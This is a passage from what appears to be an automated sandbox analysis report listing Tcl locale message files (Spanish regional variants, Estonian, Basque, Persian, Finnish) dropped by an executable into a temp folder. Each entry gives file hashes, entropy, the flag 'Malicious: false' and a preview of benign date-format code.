SHA-512:	FBD8087891BA0AE58D71A6D07482EED5E0EA5C658F0C82A9EC67DFC0D826059F1FC6FF404D6A6DC9619BD9249D4E4EC30D828B177E0939302196C51FA9B2FC4B
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset es_CO DATE_FORMAT "%e/%m/%Y". ::msgcat::mcset es_CO TIME_FORMAT_12 "%I:%M:%S %P". ::msgcat::mcset es_CO DATE_TIME_FORMAT "%e/%m/%Y %I:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\es_cr.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.873281593259653
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmo76GUFLoTW3v6rZo76T+3v9f6HK:4EnLzu8d6GUF73v6rq6K3vMq
MD5:	F08EF3582AF2F88B71C599FBEA38BFD9
SHA1:	456C90C09C2A8919DC948E86170F523062F135DB
SHA-256:	7AC5FC35BC422A5445603E0430236E62CCA3558787811DE22305F72D439EB4BB
SHA-512:	7187FC4CE0533F14BBA073039A0B86D610618573BA9A936CBE7682ED2939384C6BB9E0A407C016A42702E83627CCE394618ACB58419EA36908AA37F59165E371
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset es_CR DATE_FORMAT "%d/%m/%Y". ::msgcat::mcset es_CR TIME_FORMAT_12 "%I:%M:%S %P". ::msgcat::mcset es_CR DATE_TIME_FORMAT "%d/%m/%Y %I:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\es_do.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.8668686830029335
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmomerQZnFLou3v6rZom7+3vrQZg6HK:4EnLzu8xkZFH3v6rM3vkrq
MD5:	44F2EE567A3E9A021A3C16062CEAE220
SHA1:	180E938584F0A57AC0C3F85E6574BC48291D820E
SHA-256:	847C14C297DBE4D8517DEBAA8ED555F3DAEDF843D6BAD1F411598631A0BD3507
SHA-512:	BEB005D006E432963F9C1EF474A1E3669C8B7AF0681681E74DDA8FE9C8EE04D307EF85CF0257DA72663026138D38807A6ABA1255337CF8CC724ED1993039B40C
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset es_DO DATE_FORMAT "%m/%d/%Y". ::msgcat::mcset es_DO TIME_FORMAT_12 "%I:%M:%S %P". ::msgcat::mcset es_DO DATE_TIME_FORMAT "%m/%d/%Y %I:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\es_ec.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.86970949384834
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmozgUFLoro+3v6rZoz9+3v9f6HK:4EnLzu8ZgUFcF3v6ruI3vMq
MD5:	CCB036C33BA7C8E488D37E754075C6CF
SHA1:	336548C8D361B1CAA8BDF698E148A88E47FB27A6
SHA-256:	2086EE8D7398D5E60E5C3048843B388437BD6F2507D2293CA218936E3BF61E59
SHA-512:	05058262E222653CF3A4C105319B74E07322AEE726CC11AEB2B562F01FF2476E3169EA829BF8B66E1B76617CB58E45423480E5A6CB3B3D4B33AA4DDDFA52D111
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset es_EC DATE_FORMAT "%d/%m/%Y". ::msgcat::mcset es_EC TIME_FORMAT_12 "%I:%M:%S %P". ::msgcat::mcset es_EC DATE_TIME_FORMAT "%d/%m/%Y %I:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\es_gt.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.86395314548955
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmohvjbJFLoI3v6rZoho+3vjb0f6HK:4EnLzu8PJFB3v6r23vbq
MD5:	1E6062716A094CC3CE1F2C97853CD3CD
SHA1:	499F69E661B3B5747227B31DE4539CAF355CCAAC
SHA-256:	1BC22AF98267D635E3F07615A264A716940A2B1FAA5CAA3AFF54D4C5A4A34370
SHA-512:	7C3FB65EC76A2F35354E93A47C3A59848170AAF504998CEF66AEBAAD39D303EC67BE212C6FACC98305E35FFEBF23CCB7E34396F11987E81D76B3685E6B5E89B3
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset es_GT DATE_FORMAT "%e/%m/%Y". ::msgcat::mcset es_GT TIME_FORMAT_12 "%I:%M:%S %P". ::msgcat::mcset es_GT DATE_TIME_FORMAT "%e/%m/%Y %I:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\es_hn.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.902544453689719
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoIvriP/FLoP3v6rZoIo+3vrig6HK:4EnLzu8w+nF+3v6rP3v+lq
MD5:	AAE4A89F6AB01044D6BA3511CBE6FE66
SHA1:	639A94279453B0028995448FD2E221C1BDE23CEE
SHA-256:	A2D25880C64309552AACED082DEED1EE006482A14CAB97DB524E9983EE84ACFC
SHA-512:	E2BE94973C931B04C730129E9B9746BB76E7AC7F5AAA8D7899903B8C86B4E3D4A955E9580CF2C64DE48AFD6A2A9386337C2F8A8128A511AFBFBBA09CC032A76E
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset es_HN DATE_FORMAT "%m-%d-%Y". ::msgcat::mcset es_HN TIME_FORMAT_12 "%I:%M:%S %P". ::msgcat::mcset es_HN DATE_TIME_FORMAT "%m-%d-%Y %I:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\es_mx.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.863953145489551
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoPjbJFLoH+3v6rZoI+3vjb0f6HK:4EnLzu8NJF73v6rE3vbq
MD5:	F60290CF48AA4EDCA938E496F43135FD
SHA1:	0EE5A36277EA4E7A1F4C6D1D9EE32D90918DA25C
SHA-256:	D0FAA9D7997D5696BFF92384144E0B9DFB2E4C38375817613F81A89C06EC6383
SHA-512:	380DFCD951D15E53FCB1DEF4B892C8FD65CEFBF0857D5A7347FF3ED34F69ADD53AEEF895EDCFC6D2F24A65AB8F67CF813AEA2045EDBF3BF182BD0635B5ACB1A4
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset es_MX DATE_FORMAT "%e/%m/%Y". ::msgcat::mcset es_MX TIME_FORMAT_12 "%I:%M:%S %P". ::msgcat::mcset es_MX DATE_TIME_FORMAT "%e/%m/%Y %I:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\es_ni.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.872124246425178
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoe/GriP/FLo3W3v6rZoe/T+3vrig6HK:4EnLzu8Ae+nFmW3v6rxS3v+lq
MD5:	2C4C45C450FEA6BA0421281F1CF55A2A
SHA1:	5249E31611A670EAEEF105AB4AD2E5F14B355CAE
SHA-256:	4B28B46981BBB78CBD2B22060E2DD018C66FCFF1CEE52755425AD4900A90D6C3
SHA-512:	969A4566C7B5FAF36204865D5BC22C849FBB44F0D16B04B9A9473B05DBABF22AEB9B77F282A44BB85D7E2A56C4E5BCE59E4E4CDEB3F6DD52AF47C65C709A3690
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset es_NI DATE_FORMAT "%m-%d-%Y". ::msgcat::mcset es_NI TIME_FORMAT_12 "%I:%M:%S %P". ::msgcat::mcset es_NI DATE_TIME_FORMAT "%m-%d-%Y %I:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\es_pa.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.860352858208512
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoX5rQZnFLoHE3v6rZoXa+3vrQZg6HK:4EnLzu8vkZF93v6rm3vkrq
MD5:	148626186A258E58851CC0A714B4CFD6
SHA1:	7F14D46F66D8A94A493702DCDE7A50C1D71774B2
SHA-256:	6832DC5AB9F610883784CF702691FCF16850651BC1C6A77A0EFA81F43BC509AC
SHA-512:	2B452D878728BFAFEA9A60030A26E1E1E44CE0BB26C7D9B8DB1D7C4F1AD3217770374BD4EDE784D0A341AB5427B08980FF4A62141FAF7024AB17296FE98427AC
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset es_PA DATE_FORMAT "%m/%d/%Y". ::msgcat::mcset es_PA TIME_FORMAT_12 "%I:%M:%S %P". ::msgcat::mcset es_PA DATE_TIME_FORMAT "%m/%d/%Y %I:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\es_pe.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.8632965835916195
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoIgUFLoQ9X3v6rZoI9+3v9f6HK:4EnLzu8jUFZ3v6rS3vMq
MD5:	74F014096C233B4D1D38A9DFB15B01BB
SHA1:	75C28321AFED3D9CDA3EBF3FD059CDEA597BB13A
SHA-256:	CC826C93682EF19D29AB6304657E07802C70CF18B1E5EA99C3480DF6D2383983
SHA-512:	24E7C3914BF095B55DE7F01CB537E20112E10CF741333FD0185FEF0B0E3A1CD9651C2B2EDC470BCF18F51ADB352CA7550CFBF4F79342DCA33F7E0841AEDEBA8D
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset es_PE DATE_FORMAT "%d/%m/%Y". ::msgcat::mcset es_PE TIME_FORMAT_12 "%I:%M:%S %P". ::msgcat::mcset es_PE DATE_TIME_FORMAT "%d/%m/%Y %I:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\es_pr.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.859298425911738
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmo06GriP/FLoeW3v6rZo06T+3vrig6HK:4EnLzu8ZG+nFy3v6rAK3v+lq
MD5:	AEB569C12A50B8C4A57C8034F666C1B3
SHA1:	24D8B096DD8F1CFA101D6F36606D003D4FCC7B4D
SHA-256:	19563225CE7875696C6AA2C156E6438292DE436B58F8D7C23253E3132069F9A2
SHA-512:	B5432D7A80028C3AD3A7819A5766B07EDB56CEE493C0903EDFA72ACEE0C2FFAA955A8850AA48393782471905FFF72469F508B19BE83CC626478072FFF6B60B5D
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset es_PR DATE_FORMAT "%m-%d-%Y". ::msgcat::mcset es_PR TIME_FORMAT_12 "%I:%M:%S %P". ::msgcat::mcset es_PR DATE_TIME_FORMAT "%m-%d-%Y %I:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\es_py.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.871431420165191
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmo/5UFLovE3v6rZo/a+3v9f6HK:4EnLzu8XUF13v6re3vMq
MD5:	D24FF8FAEE658DD516AC298B887D508A
SHA1:	61990E6F3E399B87060E522ABCDE77A832019167
SHA-256:	94FF64201C27AB04F362617DD56B7D85B223BCCA0735124196E7669270C591F0
SHA-512:	1409E1338988BC70C19DA2F6C12A39E311CF91F6BB759575C95E125EA67949F17BBE450B2CD29E3F6FDA1421C742859CB990921949C6940B34D7A8B8545FF8F0
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset es_PY DATE_FORMAT "%d/%m/%Y". ::msgcat::mcset es_PY TIME_FORMAT_12 "%I:%M:%S %P". ::msgcat::mcset es_PY DATE_TIME_FORMAT "%d/%m/%Y %I:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\es_sv.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.883202808381857
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmofriP/FLo3+3v6rZoY+3vrig6HK:4EnLzu89+nFO+3v6rw3v+lq
MD5:	6A013D20A3C983639EAF89B93AB2037C
SHA1:	9ABEC22E82C1638B9C8E197760C66E370299BB93
SHA-256:	E3268C95E9B7D471F5FD2436C17318D5A796220BA39CEBEBCD39FBB0141A49CE
SHA-512:	C4FE0493A2C45DA792D0EE300EC1D30E25179209FE39ACCD74B23ACDFF0A72DEEEED1A1D12842101E0A4E57E8FEADF54F926347B6E9B987B70A52E0557919FC2
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset es_SV DATE_FORMAT "%m-%d-%Y". ::msgcat::mcset es_SV TIME_FORMAT_12 "%I:%M:%S %P". ::msgcat::mcset es_SV DATE_TIME_FORMAT "%m-%d-%Y %I:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\es_uy.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.877844330421912
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmooygUFLooq9X3v6rZooy9+3v9f6HK:4EnLzu8SrUFzsX3v6rZJ3vMq
MD5:	40250432AD0DC4FF168619719F91DBCA
SHA1:	D38532CA84E80FE70C69108711E3F9A7DFD5230F
SHA-256:	BA557A3C656275A0C870FB8466F2237850F5A7CF2D001919896725BB3D3EAA4B
SHA-512:	26FB4B3332E2C06628869D4C63B7BAB4F42FF73D1D4FD8603323A93067F60D9505C70D1A14D7E34A9880E2993183FC09D43013F3BEB8BC48732F08181643D05D
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset es_UY DATE_FORMAT "%d/%m/%Y". ::msgcat::mcset es_UY TIME_FORMAT_12 "%I:%M:%S %P". ::msgcat::mcset es_UY DATE_TIME_FORMAT "%d/%m/%Y %I:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\es_ve.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.882638228899482
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoXrUFLoXK3v6rZoXs+3v9f6HK:4EnLzu8VUFH3v6r83vMq
MD5:	F3A789CBC6B9DD4F5BA5182C421A9F78
SHA1:	7C2AF280C90B0104AB49B2A527602374254274CE
SHA-256:	64F796C5E3E300448A1F309A0DA7D43548CC40511036FF3A3E0C917E32147D62
SHA-512:	822C0D27D2A72C9D5336C1BCEDC13B564F0FB12146CF8D30FBE77B9C4728C4B3BF456AC62DACD2962A6B5B84761354B31CD505105EDB060BF202BA0B0A830772
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset es_VE DATE_FORMAT "%d/%m/%Y". ::msgcat::mcset es_VE TIME_FORMAT_12 "%I:%M:%S %P". ::msgcat::mcset es_VE DATE_TIME_FORMAT "%d/%m/%Y %I:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\et.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1206
Entropy (8bit):	4.321464868793769
Encrypted:	false
SSDEEP:	24:4azu8W1Yn1YZ1waUuvVTGiMiLpBgoVTJ01iLTh/w2SJmG5F1svtFmsv5d:46K1y1Mv9GrM9oc/FSJmG5F1KtFmK5d
MD5:	3B4BEE5DD7441A63A31F89D6DFA059BA
SHA1:	BEE39E45FA3A76B631B4C2D0F937FF6041E09332
SHA-256:	CCC2B4738DB16FAFB48BFC77C9E2F8BE17BC19E4140E48B61F3EF1CE7C9F3A8C
SHA-512:	AEC24C75CB00A506A46CC631A2A804C59FBE4F8EBCB86CBA0F4EE5DF7B7C12ED7D25845150599837B364E40BBFDB68244991ED5AF59C9F7792F8362A1E728883
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset et DAYS_OF_WEEK_ABBREV [list \. "P"\. "E"\. "T"\. "K"\. "N"\. "R"\. "L"]. ::msgcat::mcset et DAYS_OF_WEEK_FULL [list \. "p\u00fchap\u00e4ev"\. "esmasp\u00e4ev"\. "teisip\u00e4ev"\. "kolmap\u00e4ev"\. "neljap\u00e4ev"\. "reede"\. "laup\u00e4ev"]. ::msgcat::mcset et MONTHS_ABBREV [list \. "Jaan"\. "Veebr"\. "M\u00e4rts"\. "Apr"\. "Mai"\. "Juuni"\. "Juuli"\. "Aug"\. "Sept"\. "Okt"\. "Nov"\. "Dets"\. ""]. ::msgcat::mcset et MONTHS_FULL [list \. "Jaanuar"\. "Veebruar"\. "M\u00e4rts"\. "Aprill"\. "Mai"\. "Juuni"\. "Juuli"\. "August"\. "September"\. "Oktoober"\. "November"\. "Detsember"\. ""]. ::msgcat::mcset et

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\eu.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	985
Entropy (8bit):	3.9137059580146376
Encrypted:	false
SSDEEP:	24:4azu80P6/XTPi6/XTotXSSzTGsy+trjz4HsKI:46qWKWoX75Bb4Mv
MD5:	E27FEB15A6C300753506FC706955AC90
SHA1:	FDFAC22CC0839B29799001838765EB4A232FD279
SHA-256:	7DCC4966A5C13A52B6D1DB62BE200B9B5A1DECBACCFCAF15045DD03A2C3E3FAA
SHA-512:	C54A0F72BC0DAF6A411466565467A2783690EA19F4D401A5448908944A0A6F3F74A7976FA0F851F15B6A97C6D6A3C41FB8BBC8EA42B5D5E3C17A5C8A37436FC5
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset eu DAYS_OF_WEEK_ABBREV [list \. "igandea"\. "astelehena"\. "asteartea"\. "asteazkena"\. "osteguna"\. "ostirala"\. "larunbata"]. ::msgcat::mcset eu DAYS_OF_WEEK_FULL [list \. "igandea"\. "astelehena"\. "asteartea"\. "asteazkena"\. "osteguna"\. "ostirala"\. "larunbata"]. ::msgcat::mcset eu MONTHS_ABBREV [list \. "urt"\. "ots"\. "mar"\. "api"\. "mai"\. "eka"\. "uzt"\. "abu"\. "ira"\. "urr"\. "aza"\. "abe"\. ""]. ::msgcat::mcset eu MONTHS_FULL [list \. "urtarrila"\. "otsaila"\. "martxoa"\. "apirila"\. "maiatza"\. "ekaina"\. "uztaila"\. "abuztua"\. "iraila"\. "urria"\. "azaroa"\. "abendua"\. ""].}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\eu_es.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	4.8689948586471825
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoszFnJF+l6VALoszw3vG5oszw3v6X5osz++3v/R3v:4EnLzu8gL+l6Vt3vf3v6P3vZf
MD5:	D20788793E6CC1CD07B3AFD2AA135CB6
SHA1:	3503FCB9490261BA947E89D5494998CEBB157223
SHA-256:	935164A2D2D14815906B438562889B31139519B3A8E8DB3D2AC152A77EC591DC
SHA-512:	F65E7D27BD0A99918D6F21C425238000563C2E3A4162D6806EEAC7C9DCB9798987AFFB8BE01899D577078F6297AF468DBAEBEB6375C09ABF332EB44E328F0E8B
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset eu_ES DATE_FORMAT "%a, %Yeko %bren %da". ::msgcat::mcset eu_ES TIME_FORMAT "%T". ::msgcat::mcset eu_ES TIME_FORMAT_12 "%T". ::msgcat::mcset eu_ES DATE_TIME_FORMAT "%y-%m-%d %T %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\fa.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	4.1508548760580295
Encrypted:	false
SSDEEP:	24:4azu8BMnqZEjgYDT0/y3xg2LSREyqyxDfsycNp/Tpn29Ey5ykDDzi:46cGTYDT0/ya4KIySNnCz2
MD5:	7E74DE42FBDA63663B58B2E58CF30549
SHA1:	CB210740F56208E8E621A45D545D7DEFCAE8BCAF
SHA-256:	F9CA4819E8C8B044D7D68C97FC67E0F4CCD6245E30024161DAB24D0F7C3A9683
SHA-512:	A03688894BD44B6AB87DC6CAB0A5EC348C9117697A2F9D00E27E850F23EFDC2ADBD53CAC6B9ED33756D3A87C9211B6EE8DF06020F6DA477B9948F52E96071F76
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset fa DAYS_OF_WEEK_ABBREV [list \. "\u06cc\u2214"\. "\u062f\u2214"\. "\u0633\u2214"\. "\u0686\u2214"\. "\u067e\u2214"\. "\u062c\u2214"\. "\u0634\u2214"]. ::msgcat::mcset fa DAYS_OF_WEEK_FULL [list \. "\u06cc\u06cc\u200c\u0634\u0646\u0628\u0647"\. "\u062f\u0648\u0634\u0646\u0628\u0647"\. "\u0633\u0647\u200c\u0634\u0646\u0628\u0647"\. "\u0686\u0647\u0627\u0631\u0634\u0646\u0628\u0647"\. "\u067e\u0646\u062c\u200c\u0634\u0646\u0628\u0647"\. "\u062c\u0645\u0639\u0647"\. "\u0634\u0646\u0628\u0647"]. ::msgcat::mcset fa MONTHS_ABBREV [list \. "\u0698\u0627\u0646"\. "\u0641\u0648\u0631"\. "\u0645\u0627\u0631"\. "\u0622\u0648\u0631"\. "\u0645\u0640\u0647"\. "\u0698\u0648\u0646"\. "\u0698\u0648\u06cc"\. "\u0627\u0648\u062a"\. "\u0633\u067e\u

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\fa_in.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1957
Entropy (8bit):	4.433104256056609
Encrypted:	false
SSDEEP:	24:4azu8XMnSZEjgYDT0g3xg2LSREyqyxDf5cNp/Tpn29Ey5ykDDzJ6v3Nev0Nv0f:46OeTYDT0ga4K9SNnCz0v9o0JI
MD5:	E6DBD1544A69BFC653865B723395E79C
SHA1:	5E4178E7282807476BD0D6E1F2E320E42FA0DE77
SHA-256:	6360CE0F31EE593E311B275F3C1F1ED427E237F31010A4280EF2C58AA6F2633A
SHA-512:	8D77DCB4333F043502CED7277AEEB0453A2C019E1A46826A0FE90F0C480A530F5646A4F76ECC1C15825601FC8B646ED7C78E53996E2908B341BA4ED1392B95F0
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset fa_IN DAYS_OF_WEEK_ABBREV [list \. "\u06cc\u2214"\. "\u062f\u2214"\. "\u0633\u2214"\. "\u0686\u2214"\. "\u067e\u2214"\. "\u062c\u2214"\. "\u0634\u2214"]. ::msgcat::mcset fa_IN DAYS_OF_WEEK_FULL [list \. "\u06cc\u06cc\u200c\u0634\u0646\u0628\u0647"\. "\u062f\u0648\u0634\u0646\u0628\u0647"\. "\u0633\u0647\u200c\u0634\u0646\u0628\u0647"\. "\u0686\u0647\u0627\u0631\u0634\u0646\u0628\u0647"\. "\u067e\u0646\u062c\u200c\u0634\u0646\u0628\u0647"\. "\u062c\u0645\u0639\u0647"\. "\u0634\u0646\u0628\u0647"]. ::msgcat::mcset fa_IN MONTHS_ABBREV [list \. "\u0698\u0627\u0646"\. "\u0641\u0648\u0631"\. "\u0645\u0627\u0631"\. "\u0622\u0648\u0631"\. "\u0645\u0640\u0647"\. "\u0698\u0648\u0646"\. "\u0698\u0648\u06cc"\. "\u0627\u0648\u062a"\. "\u063

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\fa_ir.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	417
Entropy (8bit):	5.087144086729547
Encrypted:	false
SSDEEP:	12:4EnLzu82vGz7AhF/Q3vf3v6TANv+K3vz7AA7:4azu8vPm/ivfvF9xvP9
MD5:	044BAAA627AD3C3585D229865A678357
SHA1:	9D64038C00253A7EEDA4921B9C5E34690E185061
SHA-256:	CF492CBD73A6C230725225D70566B6E46D5730BD3F63879781DE4433965620BE
SHA-512:	DA138F242B44111FAFE9EFE986EB987C26A64D9316EA5644AC4D3D4FEC6DF9F5D55F342FC194BC487A1B7C740F931D883A574863B48396D837D1E270B733F735
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset fa_IR AM "\u0635\u0628\u062d". ::msgcat::mcset fa_IR PM "\u0639\u0635\u0631". ::msgcat::mcset fa_IR DATE_FORMAT "%d\u2044%m\u2044%Y". ::msgcat::mcset fa_IR TIME_FORMAT "%S:%M:%H". ::msgcat::mcset fa_IR TIME_FORMAT_12 "%S:%M:%l %P". ::msgcat::mcset fa_IR DATE_TIME_FORMAT "%d\u2044%m\u2044%Y %S:%M:%H %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\fi.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	4.249302428029841
Encrypted:	false
SSDEEP:	24:4azu8ZeTWSS/DatuUSlWCBTtotL8W183eYKvt3v3eG:46sWp/DatBSPtoNmpMt/J
MD5:	34FE8E2D987FE534BD88291046F6820B
SHA1:	B173700C176336BD1B123C2A055A685F73B60C07
SHA-256:	BE0D2DCE08E6CD786BC3B07A1FB1ADC5B2CF12053C99EACDDAACDDB8802DFB9C
SHA-512:	4AC513F092D2405FEF6E30C828AE94EDBB4B0B0E1C68C1168EB2498C186DB054EBF697D6B55B49F865A2284F75B7D5490AFE7A80F887AE8312E6F9A5EFE16390
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset fi DAYS_OF_WEEK_ABBREV [list \. "su"\. "ma"\. "ti"\. "ke"\. "to"\. "pe"\. "la"]. ::msgcat::mcset fi DAYS_OF_WEEK_FULL [list \. "sunnuntai"\. "maanantai"\. "tiistai"\. "keskiviikko"\. "torstai"\. "perjantai"\. "lauantai"]. ::msgcat::mcset fi MONTHS_ABBREV [list \. "tammi"\. "helmi"\. "maalis"\. "huhti"\. "touko"\. "kes\u00e4"\. "hein\u00e4"\. "elo"\. "syys"\. "loka"\. "marras"\. "joulu"\. ""]. ::msgcat::mcset fi MONTHS_FULL [list \. "tammikuu"\. "helmikuu"\. "maaliskuu"\. "huhtikuu"\. "toukokuu"\. "kes\u00e4kuu"\. "hein\u00e4kuu"\. "elokuu"\. "syyskuu"\. "lokakuu"\. "marraskuu"\. "joulukuu"\. ""]. ::msgcat

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\fo.msg

Download File

